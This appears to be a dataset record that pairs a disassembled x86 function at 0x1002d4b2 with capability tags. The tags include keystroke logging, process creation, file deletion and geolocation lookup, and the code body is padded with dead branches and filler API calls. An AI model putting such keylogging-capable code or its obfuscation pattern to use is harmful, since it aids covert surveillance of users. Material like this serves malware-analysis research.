Function at 0x1002d4b2
Capabilities:
Accept command line arguments
Create pipe
Create process on windows
Delete file
Enumerate files on windows
Get common file path
Get geographical location
Get thread local storage value
Log keystrokes via polling
Parse pe header
Query environment variable
Query or enumerate registry value
Terminate process

Disassembly:
mov eax, 0x1006cea0
call fcn.1006b6ac
mov eax, 0x15cc
call fcn.1005bc00
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x64], ecx
push edi
xor eax, eax
mov byte [ebp - 0x71], dl
inc ebx
mov dword [ebp - 0x1c], eax
push ebx
lea ecx, [ebp - 0x8b0]
call fcn.10013e31
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002d50e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8b0]
call fcn.10013ed2
mov dword [eax], 0x7013dce9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002d4f0
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, 0xeb4c
mov dword [ebp - 0x34], 0xf6d4a0d4
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002d54e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1310], 0xe08974b6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002d53d
mov eax, dword [ebp - 0x18]
xor ecx, ecx
push 5
pop esi
mov dword [ebp - 0x1308], esi
mov eax, dword [ebp - 0x18]
neg eax
cmp eax, 0xb95
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, esi
setge cl
xor eax, eax
imul edx, ecx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002d5af
push 0x10c7
push 0x1f46
push 0xde1
push 0xac5
push eax
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
xor eax, eax
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov ecx, 0xfffd
mov dword [ebp - 0x1c], 0x1b
cmp dword [ebp - 0x1c], esi
push 0xffffffffffffffff
pop esi
jg 0x1002d8bf
jmp 0x1002d5d1
xor eax, eax
mov dword [ebp - 0x28], 0x743d837b
mov dword [ebp - 0x20], eax
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1002d5fe
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe78], 0x20624039
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002d5e6
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x1002d68d
mov dword [ebp - 0x18], 0xe1ca2961
mov dword [ebp - 0x4c], 0x1860ec01
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xe78], 0
jne 0x1002d686
mov dword [ebp - 0x18], 2
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x1002d67d
push esi
lea ecx, [ebp - 0x1090]
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002d667
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1090]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002d64d
xor eax, eax
dec dword [ebp - 0x20]
lea ecx, [ebp - 0x1090]
mov byte [ebp - 4], al
call fcn.10013eb6
dec dword [ebp - 0x18]
jns 0x1002d634
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1002d60b
xor eax, eax
mov ecx, 0xfffd
xor edx, edx
mov dword [ebp - 0xe78], eax
mov eax, dword [ebp - 0x20]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setl dl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0x1f4d0986
setne cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
je 0x1002d6e5
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002d6d7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14f4], 0x300c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002d6c6
mov dword [ebp - 0x14e8], ebx
jmp 0x1002d74e
mov dword [ebp - 0x44], 0x108f
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x1002d748
mov dword [ebp - 0x34], 0x97ab83de
mov dword [ebp - 0x20], 0xfffffffd
jmp 0x1002d73f
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x1002d739
xor ebx, ebx
dec dword [ebp - 0x44]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002d72d
push 0x7d5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1002d715
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x38
jl 0x1002d705
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff5
jg 0x1002d6f5
xor eax, eax
mov dword [ebp - 0x28], 0x2304b25b
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002d789
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8b0]
call fcn.10013ed2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8b0]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
jns 0x1002d75f
movdqa xmm0, xmmword [0x10006740]
lea eax, [ebp - 0x10f4]
push eax
lea eax, [ebp - 0x1104]
push eax
lea ecx, [ebp - 0x1474]
movdqu xmmword [ebp - 0x1104], xmm0
call fcn.10013ee1
lea ecx, [ebp - 0x178]
mov esi, eax
call fcn.10006dcf
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x998]
push dword [esi]
call fcn.10013e90
push 2
lea ecx, [ebp - 0x998]
mov byte [ebp - 4], 2
call fcn.10013ed2
mov esi, eax
lea ecx, [ebp - 0x998]
xor eax, eax
push eax
call fcn.10013ed2
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x1002d83a
or esi, 0xffffffff
xor eax, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff1
je 0x1002d827
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002d819
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff1
jne 0x1002d80a
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002d880
call dword [sym.imp.USER32.dll_ReleaseCapture]
xor eax, eax
jmp 0x1002d880
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002d853
push eax
push 0x800
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002d87b
push eax
push 0x2268
push 0x161f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
or esi, 0xffffffff
lea ecx, [ebp - 0x998]
mov byte [ebp - 4], al
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002d8ad
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002d8a5
push ebx
call edi
dec dword [ebp - 0x28]
jns 0x1002d89a
xor ebx, ebx
inc ebx
dec dword [ebp - 0x1c]
mov ecx, 0xfffd
cmp dword [ebp - 0x1c], 5
jle 0x1002d5cf
xor eax, eax
lea ecx, [ebp - 0x748]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0xbe135e1f
mov dword [ebp - 0x38], 0x8a52b4b5
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x2c], 0x69919c44
push ebx
call fcn.10013e31
push 3
pop ecx
mov byte [ebp - 4], cl
xor eax, eax
mov dword [ebp - 0x4c], 0x28e4
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002d921
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc14], 0x141a9c21
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002d909
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002d93d
push dword [ebp - 0x28]
lea ecx, [ebp - 0x748]
call fcn.10013ed2
mov dword [eax], 0x79dc8669
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002d926
mov dword [ebp - 0x20], 0x1a
jmp 0x1002d98d
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x14], 0xfffffff6
jmp 0x1002d984
mov dword [ebp - 0x40], 0x3d4e
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc14]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff4
jne 0x1002d95e
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff8
jge 0x1002d94b
mov dword [ebp - 0x20], 0xfffffff8
cmp dword [ebp - 0x20], 0x11
jg 0x1002da81
mov dword [ebp - 0x34], 0xfff6
xor eax, eax
mov dword [ebp - 0x40], 0xbcf5
push 3
mov dword [ebp - 0x18], 0x1a770aac
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002d9d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc0], 0xec5ec62b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002d9c3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002da4f
inc dword [ebp - 0x50]
mov dword [ebp - 0x44], 0x16037280
cmp dword [ebp - 0x44], eax
jne 0x1002d9fd
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0xfbc], eax
je 0x1002da14
cmp dword [ebp - 0x40], 0xbb6a
je 0x1002da14
mov eax, dword [ebp - 0xc14]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x748]
xor edi, edi
push edi
call fcn.10013ed2
mov edx, dword [ebp - 0xc14]
xor ebx, ebx
mov ecx, dword [ebp - 0x38]
cmp edx, ecx
mov eax, dword [eax]
setle bl
add ebx, 0x1eb1ed30
add eax, ebx
je 0x1002da4a
xor ebx, ebx
inc ebx
xor eax, eax
mov esi, ebx
jmp 0x1002da51
xor ebx, ebx
inc ebx
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x748]
call fcn.10013ed2
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xfbc], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x11
jle 0x1002d9a4
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
or esi, 0xffffffff
lea ecx, [ebp - 0x748]
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002dacf
mov dword [ebp - 0x18], 0x84217059
mov dword [ebp - 0x34], 0x4c3f4f88
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffb
pop ecx
sub ecx, eax
cmp dword [ebp - 0x1c], ecx
je 0x1002dabd
mov dword [ebp - 0x34], 0xea0d018d
jmp 0x1002daca
mov dword [ebp - 0x34], 0xfffffff7
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
jns 0x1002da96
lea ecx, [ebp - 0x8b0]
mov dword [ebp - 4], esi
call fcn.10013eb6
xor eax, eax
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x20], eax
push ebx
call fcn.10013e31
xor eax, eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x14], eax
jmp 0x1002db13
push dword [ebp - 0x14]
lea ecx, [ebp - 0x760]
call fcn.10013ed2
mov dword [eax], 0x7013dce9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002dafc
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 5
jg 0x1002db87
xor ebx, ebx
mov dword [ebp - 0x28], 0x2304b25b
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002db60
push dword [ebp - 0x28]
lea ecx, [ebp - 0x760]
call fcn.10013ed2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x760]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
jns 0x1002db36
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002db78
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002db73
push ebx
call edi
dec dword [ebp - 0x28]
jns 0x1002db68
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 5
jle 0x1002db27
xor ebx, ebx
inc ebx
or esi, 0xffffffff
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002dbca
mov dword [ebp - 0x18], 0x84217059
mov dword [ebp - 0x34], 0x4c3f4f88
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffb
pop ecx
sub ecx, eax
cmp dword [ebp - 0x20], ecx
je 0x1002dbb8
mov dword [ebp - 0x34], 0xea0d018d
jmp 0x1002dbc5
mov dword [ebp - 0x34], 0xfffffff7
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
jns 0x1002db91
lea ecx, [ebp - 0x760]
mov dword [ebp - 4], esi
call fcn.10013eb6
xor eax, eax
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x20], eax
push ebx
call fcn.10013e31
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x14], eax
jmp 0x1002dc0e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8d4]
call fcn.10013ed2
mov dword [eax], 0x7013dce9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002dbf7
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 5
jg 0x1002dc82
xor ebx, ebx
mov dword [ebp - 0x28], 0x2304b25b
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002dc5b
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8d4]
call fcn.10013ed2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8d4]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
jns 0x1002dc31
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002dc73
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002dc6e
push ebx
call edi
dec dword [ebp - 0x28]
jns 0x1002dc63
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 5
jle 0x1002dc22
xor ebx, ebx
inc ebx
or esi, 0xffffffff
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002dcc5
mov dword [ebp - 0x18], 0x84217059
mov dword [ebp - 0x34], 0x4c3f4f88
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffb
pop ecx
sub ecx, eax
cmp dword [ebp - 0x20], ecx
je 0x1002dcb3
mov dword [ebp - 0x34], 0xea0d018d
jmp 0x1002dcc0
mov dword [ebp - 0x34], 0xfffffff7
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
jns 0x1002dc8c
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 4], esi
call fcn.10013eb6
push 4
lea ecx, [ebp - 0xbd8]
call fcn.10013e31
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x9b0]
mov dword [ebp - 0x38], 0xfffffff8
push ebx
call fcn.10013e31
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002dd2f
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbd8]
call fcn.10013ed2
and dword [eax], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002dd13
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002dd55
push dword [ebp - 0x28]
lea ecx, [ebp - 0x9b0]
call fcn.10013ed2
mov dword [eax], 9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002dd37
xor eax, eax
mov dword [ebp - 0x38], 3
cmp dword [ebp - 0x38], eax
jl 0x1002ddbd
jmp 0x1002dd65
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002dd85
push 0x1ff0
push 0x476
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push dword [ebp - 0x38]
lea ecx, [ebp - 0xbd8]
call fcn.10013ed2
xor ecx, ecx
cmp dword [eax], ecx
jne 0x1002dda2
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x9b0]
call fcn.10013ed2
xor ecx, ecx
cmp dword [eax], ebx
setge cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x38]
jns 0x1002dd63
lea ecx, [ebp - 0x9b0]
call fcn.10013eb6
lea ecx, [ebp - 0xbd8]
mov dword [ebp - 4], esi
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x9c8]
mov dword [ebp - 0x18], 0xcfb6318d
push 4
call fcn.10013e31
push 8
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], eax
jmp 0x1002de15
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c8]
call fcn.10013ed2
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002de02
inc dword [ebp - 0x18]
je 0x1002de23
mov eax, dword [ebp - 0x3c]
xor eax, eax
lea ecx, [ebp - 0x9c8]
push 3
mov dword [ebp - 0x50], eax
mov esi, dword [ebp - 0x50]
pop eax
push eax
call fcn.10013ed2
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setg dl
cmp edx, dword [ebp - 0x34]
jne 0x1002de74
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002de87
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
jmp 0x1002de87
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], 0xfffffff6
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
or esi, 0xffffffff
lea ecx, [ebp - 0x9c8]
mov dword [ebp - 4], esi
call fcn.10013eb6
xor eax, eax
mov ecx, 0xeb4c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], 0xf6d4a0d4
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002dedd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1388], 0xe08974b6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002decc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x1380], 5
mov eax, dword [ebp - 0x18]
neg eax
cmp eax, 0xb95
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, 5
setge cl
xor eax, eax
imul edx, ecx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002df3e
push 0x10c7
push 0x1f46
push 0xde1
push 0xac5
push eax
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
push ebx
lea ecx, [ebp - 0x790]
call fcn.10013e31
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x778]
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0xbe135e1f
mov dword [ebp - 0x38], 0x8a52b4b5
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x2c], 0x69919c44
push ebx
call fcn.10013e31
push 2
mov byte [ebp - 4], 0xa
xor eax, eax
pop esi
mov dword [ebp - 0x4c], 0x28e4
mov dword [ebp - 0x50], esi
push 3
mov dword [ebp - 0x28], eax
pop ecx
cmp dword [ebp - 0x28], ecx
jge 0x1002dfb3
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd28], 0x141a9c21
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002df9b
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002dfcf
push dword [ebp - 0x28]
lea ecx, [ebp - 0x778]
call fcn.10013ed2
mov dword [eax], 0x79dc8669
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002dfb8
mov dword [ebp - 0x20], 0x1a
cmp dword [ebp - 0x20], 0xfffffff8
jl 0x1002e033
or eax, 0xffffffff
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], 0xfffffff6
cmp dword [ebp - 0x14], 0xfffffff4
je 0x1002e02a
mov dword [ebp - 0x40], 0x3d4e
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xd28]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff4
jne 0x1002dffb
or eax, 0xffffffff
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff8
jge 0x1002dfe4
mov dword [ebp - 0x20], 0xfffffff8
cmp dword [ebp - 0x20], 0x11
jg 0x1002e121
mov dword [ebp - 0x34], 0xfff6
xor eax, eax
mov dword [ebp - 0x40], 0xbcf5
push 3
mov dword [ebp - 0x18], 0x1a770aac
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002e074
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe90], 0xec5ec62b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e063
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e0ef
inc dword [ebp - 0x50]
mov dword [ebp - 0x44], 0x16037280
cmp dword [ebp - 0x44], eax
jne 0x1002e09d
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0xe8c], eax
je 0x1002e0b4
cmp dword [ebp - 0x40], 0xbb6a
je 0x1002e0b4
mov eax, dword [ebp - 0xd28]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x778]
xor edi, edi
push edi
call fcn.10013ed2
mov edx, dword [ebp - 0x38]
xor ebx, ebx
mov ecx, dword [ebp - 0xd28]
cmp ecx, edx
mov eax, dword [eax]
setle bl
add ebx, 0x1eb1ed30
add eax, ebx
je 0x1002e0ea
xor ebx, ebx
inc ebx
xor eax, eax
mov esi, ebx
jmp 0x1002e0f1
xor ebx, ebx
inc ebx
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x778]
call fcn.10013ed2
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xe8c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x11
jle 0x1002e044
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 2
pop esi
lea ecx, [ebp - 0x778]
mov byte [ebp - 4], 9
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e158
push dword [ebp - 0x14]
lea ecx, [ebp - 0x790]
call fcn.10013ed2
mov dword [eax], 0x7013dce9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e13a
xor eax, eax
mov dword [ebp - 0x28], 0x743d837b
mov dword [ebp - 0x20], eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002e185
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xea8], 0x20624039
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e16d
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jg 0x1002e208
mov dword [ebp - 0x18], 0xe1ca2961
mov dword [ebp - 0x4c], 0x1860ec01
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xea8], 0
jne 0x1002e200
mov dword [ebp - 0x18], esi
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x1002e1f8
push ecx
lea ecx, [ebp - 0x1058]
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0xb
push 3
mov dword [ebp - 0x14], eax
pop edi
jmp 0x1002e1d9
push dword [ebp - 0x14]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x1058]
cmp dword [ebp - 0x14], edi
jl 0x1002e1cc
dec dword [ebp - 0x20]
mov byte [ebp - 4], 9
call fcn.10013eb6
dec dword [ebp - 0x18]
push 3
pop ecx
jns 0x1002e1b2
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x1002e18d
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
xor eax, eax
xor edx, edx
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0x20]
cmp eax, ebx
mov eax, 0xfffd
setl dl
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0x1f4d0986
setne cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
je 0x1002e265
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002e257
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x150c], 0x300c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002e246
mov dword [ebp - 0x1500], ebx
jmp 0x1002e2cc
mov dword [ebp - 0x44], 0x108f
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x1002e2c6
mov dword [ebp - 0x34], 0x97ab83de
mov dword [ebp - 0x20], 0xfffffffd
jmp 0x1002e2bd
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jg 0x1002e2b7
xor ebx, ebx
dec dword [ebp - 0x44]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002e2ac
push 0x7d5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1002e294
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x38
jl 0x1002e285
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff5
jg 0x1002e275
mov dword [ebp - 0x30], 0x1b
jmp 0x1002ee29
xor eax, eax
mov dword [ebp - 0x38], ebx
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002e300
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9e0], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e2e8
